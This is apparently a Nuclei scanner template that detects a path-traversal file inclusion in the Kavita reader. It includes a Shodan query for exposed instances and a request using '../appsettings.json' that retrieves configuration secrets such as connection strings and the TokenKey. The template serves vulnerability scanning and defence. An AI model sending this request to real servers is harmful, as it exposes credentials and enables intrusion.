id: kavita-lfi

info:
  name: Kavita - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    Kavita - Path Traversal is vulnerable to local file inclusion via abusing the Path Traversal filename parameter of the /api/image/cover-upload.
  reference:
    - https://huntr.dev/bounties/2eef332b-65d2-4f13-8c39-44a8771a6f18/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"kavita"
    product: kavita
    vendor: kavitareader
  tags: kavita,lfi,huntr,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/image/cover-upload?filename=../appsettings.json'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ConnectionStrings":'
          - '"Path":'
          - '"TokenKey":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022032b790855356832ebc4235d2ffa1ba8c43d051f951037f619ae312bf5618a770022100f9eb0fb4d36cc1bf620747695262fbbd25682df3af2f1c75a6897b19a63c86fa:922c64590222798bb761d5b6d8e72950